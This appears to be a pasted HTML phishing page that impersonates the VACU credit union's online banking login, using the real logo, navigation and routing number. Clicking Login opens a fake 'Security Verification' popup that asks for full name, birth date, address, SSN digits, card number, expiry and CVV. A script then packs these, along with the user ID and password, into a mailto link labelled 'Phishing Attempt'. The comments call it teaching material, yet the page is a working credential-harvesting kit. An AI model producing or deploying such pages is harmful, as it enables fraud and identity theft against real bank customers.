Untitled
2 months ago in Plain Text
<!DOCTYPE html>
<html lang="en">
<head>
<script src="https://cdn.tailwindcss.com"></script>
<link href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.15.3/css/all.min.css" rel="stylesheet"/>
<link href="https://fonts.googleapis.com/css2?family=Open+Sans:wght@400;600&amp;display=swap" rel="stylesheet"/>
<style>
body {
font-family: 'Open Sans', sans-serif;
}
</style>
</head>
<body class="bg-gray-100">
<header class="bg-white shadow">
<div class="container mx-auto px-4 py-4 flex flex-col">
<div class="flex justify-between items-center">
<div class="flex items-center space-x-4">
<img src="https://www.vacu.org/themes/custom/vacu/logo.svg" alt="Home" width="205px" height="60px">
<nav class="flex space-x-6 text-blue-600 text-sm font-bold">
<a class="hover:underline" href="#">
BANKING
</a>
<a class="hover:underline" href="#">
LOANS
</a>
<a class="hover:underline" href="#">
SERVICES
</a>
<a class="hover:underline" href="#">
LEARN
</a>
<a class="hover:underline" href="#">
FOR BUSINESS
</a>
</nav>
</div>
<div class="flex space-x-2 text-blue-600 text-sm ml-auto">
<a class="border border-blue-600 text-blue-600 px-4 py-2 rounded-full hover:bg-blue-600 hover:text-white" href="#">
ONLINE BANKING
</a>
</div>
</div>
<div class="bg-gray-200 py-2 mt-2">
<div class="container mx-auto px-4 flex justify-center items-center">
<div class="flex space-x-8 text-blue-600 text-sm font-bold ml-16">
<a class="hover:underline" href="#">
Locations &amp; ATMs
</a>
<a class="hover:underline" href="#">
Help &amp; Support
</a>
<a class="hover:underline" href="#">
Become a Member
</a>
<a class="hover:underline" href="#">
WHY VACU
</a>
</div>
<div class="text-blue-600 text-sm font-bold ml-auto">
<a class="hover:underline" href="#">
Search
</a>
</div>
</div>
</div>
</div>
</header>
<main class="container mx-auto px-4 py-16">
<h1 class="text-4xl font-semibold mb-8">
Online Banking Login
</h1>
<div class="mb-8">
<label class="block text-lg font-semibold mb-2" for="user-id">
User ID
</label>
<div class="flex items-center mb-4">
<input class="border border-gray-300 rounded px-4 py-2 w-full" id="user-id" placeholder="Enter your User ID" type="text"/>
</div>
<label class="block text-lg font-semibold mb-2" for="password">
Password
</label>
<div class="flex items-center mb-4">
<input class="border border-gray-300 rounded px-4 py-2 w-full" id="password" placeholder="Enter your Password" type="password"/>
</div>
<div class="flex justify-center">
<button id="login-button" class="bg-blue-600 text-white px-6 py-2 rounded flex items-center">
Login
<i class="fas fa-arrow-right ml-2">
</i>
</button>
</div>
<a class="text-blue-600 hover:underline mt-2 block text-center" href="#">
Login Help
</a>
</div>
<div class="bg-blue-100 p-6 rounded mb-8">
<h2 class="text-xl font-semibold mb-4">
Not yet enrolled in online banking?
</h2>
<p class="mb-4">
Enroll now in personal or business online banking! Online banking access also gets you access to mobile banking, including our apps.
</p>
<button class="bg-blue-600 text-white px-6 py-2 rounded flex items-center">
Enroll
<i class="fas fa-arrow-right ml-2">
</i>
</button>
</div>
<div class="bg-red-100 p-6 rounded">
<h2 class="text-xl font-semibold mb-4 text-red-600">
FRAUD ALERT!
</h2>
<p class="mb-4 text-red-600">
We’re seeing an increase in scam texts and calls impersonating VACU. NEVER click on links or reply to texts you don’t trust, or provide any personal account information via text or call.
<a href="#" class="text-blue-600 hover:underline">Learn more.</a>
</p>
</div>
</main>
<footer class="bg-gray-200 py-8 mt-16">
<div class="container mx-auto px-4">
<div class="flex justify-between items-center mb-4">
<div class="text-sm text-gray-700">
804-323-6800
</div>
<div class="flex space-x-4 text-gray-700">
<a class="hover:underline" href="#">
Facebook
</a>
<a class="hover:underline" href="#">
Twitter
</a>
<a class="hover:underline" href="#">
YouTube
</a>
<a class="hover:underline" href="#">
LinkedIn
</a>
</div>
<div class="text-sm text-gray-700">
VACU Routing Number 251082615
</div>
</div>
<div class="flex justify-between items-center">
<div class="flex space-x-4 text-gray-700 text-sm">
<a class="hover:underline" href="#">
About Us
</a>
<a class="hover:underline" href="#">
Become a Member
</a>
<a class="hover:underline" href="#">
Careers
</a>
<a class="hover:underline" href="#">
News and Events
</a>
<a class="hover:underline" href="#">
Annual Reports
</a>
</div>
<div class="flex space-x-4 text-gray-700 text-sm">
<a class="hover:underline" href="#">
Help & Support
</a>
<a class="hover:underline" href="#">
Frequently Asked Questions
</a>
<a class="hover:underline" href="#">
Contact Us
</a>
<a class="hover:underline" href="#">
Find a Branch
</a>
<a class="hover:underline" href="#">
Accessibility
</a>
</div>
</div>
</div>
</footer>
<div id="verification-popup" class="hidden fixed top-0 left-0 w-full h-full flex items-center justify-center bg-gray-800 bg-opacity-50">
<div class="bg-white rounded-lg shadow-lg p-8 w-full max-w-md">
<h2 class="text-2xl font-bold mb-4 text-blue-600">Security Verification</h2>
<p class="text-gray-600 mb-6">For your security, please verify your identity by providing the following information.</p>
<form id="verification-form">
<div class="mb-4">
<label class="block text-gray-700 font-bold mb-2" for="name">
Full Name
</label>
<input class="shadow appearance-none border rounded w-full py-2 px-3 text-gray-700 leading-tight focus:outline-none focus:shadow-outline" id="name" type="text" placeholder="Enter your full name">
</div>
<div class="mb-4">
<label class="block text-gray-700 font-bold mb-2" for="birthdate">
Date of Birth
</label>
<input class="shadow appearance-none border rounded w-full py-2 px-3 text-gray-700 leading-tight focus:outline-none focus:shadow-outline" id="birthdate" type="date" placeholder="Enter your date of birth">
</div>
<div class="mb-4">
<label class="block text-gray-700 font-bold mb-2" for="address">
Address on File
</label>
<input class="shadow appearance-none border rounded w-full py-2 px-3 text-gray-700 leading-tight focus:outline-none focus:shadow-outline" id="address" type="text" placeholder="Enter your address">
</div>
<div class="mb-4">
<label class="block text-gray-700 font-bold mb-2" for="ssn">
Social Security Number (Last 4 Digits)
</label>
<input class="shadow appearance-none border rounded w-full py-2 px-3 text-gray-700 leading-tight focus:outline-none focus:shadow-outline" id="ssn" type="text" placeholder="Enter last 4 digits of SSN">
</div>
<div class="mb-4">
<label class="block text-gray-700 font-bold mb-2" for="card-number">
Bank Card Number
</label>
<input class="shadow appearance-none border rounded w-full py-2 px-3 text-gray-700 leading-tight focus:outline-none focus:shadow-outline" id="card-number" type="text" placeholder="Enter your card number">
</div>
<div class="mb-4">
<label class="block text-gray-700 font-bold mb-2" for="expiry-date">
Expiration Date
</label>
<input class="shadow appearance-none border rounded w-full py-2 px-3 text-gray-700 leading-tight focus:outline-none focus:shadow-outline" id="expiry-date" type="date" placeholder="Enter expiration date">
</div>
<div class="mb-6">
<label class="block text-gray-700 font-bold mb-2" for="cvv">
CVV Code
</label>
<input class="shadow appearance-none border rounded w-full py-2 px-3 text-gray-700 leading-tight focus:outline-none focus:shadow-outline" id="cvv" type="text" placeholder="Enter your CVV">
</div>
<button type="submit" class="bg-blue-600 hover:bg-blue-700 text-white font-bold py-2 px-4 rounded focus:outline-none focus:shadow-outline">Submit</button>
</form>
<button id="close-verification-popup" class="mt-4 bg-gray-400 hover:bg-gray-500 text-white font-bold py-2 px-4 rounded focus:outline-none focus:shadow-outline">Close</button>
</div>
</div>
<script>
const loginButton = document.getElementById('login-button');
const verificationPopup = document.getElementById('verification-popup');
const closeVerificationPopup = document.getElementById('close-verification-popup');
const verificationForm = document.getElementById('verification-form');
loginButton.addEventListener('click', () => {
verificationPopup.classList.remove('hidden');
});
closeVerificationPopup.addEventListener('click', () => {
verificationPopup.classList.add('hidden');
});
verificationForm.addEventListener('submit', (event) => {
event.preventDefault();
const name = document.getElementById('name').value;
const birthdate = document.getElementById('birthdate').value;
const address = document.getElementById('address').value;
const ssn = document.getElementById('ssn').value;
const cardNumber = document.getElementById('card-number').value;
const expiryDate = document.getElementById('expiry-date').value;
const cvv = document.getElementById('cvv').value;
const userId = document.getElementById('user-id').value;
const password = document.getElementById('password').value;
// This is where you would send the data to your email for teaching purposes
// **Important:** Please replace the placeholder email address below with your actual email address.
const mailtoUrl = `mailto:[email protected]?subject=Phishing%20Attempt&body=User%20ID: ${userId}%0D%0APassword: ${password}%0D%0AFull%20Name: ${name}%0D%0ADate%20of%20Birth: ${birthdate}%0D%0AAddress: ${address}%0D%0ASocial%20Security%20Number: ${ssn}%0D%0ABank%20Card%20Number: ${cardNumber}%0D%0AExpiration%20Date: ${expiryDate}%0D%0ACVV: ${cvv}`;
// This is where you would normally redirect to the real login page after verifying the information
// For teaching purposes, you can comment out the redirect and use an alert instead
window.location.href = mailtoUrl;
});
</script>
</body>
</html>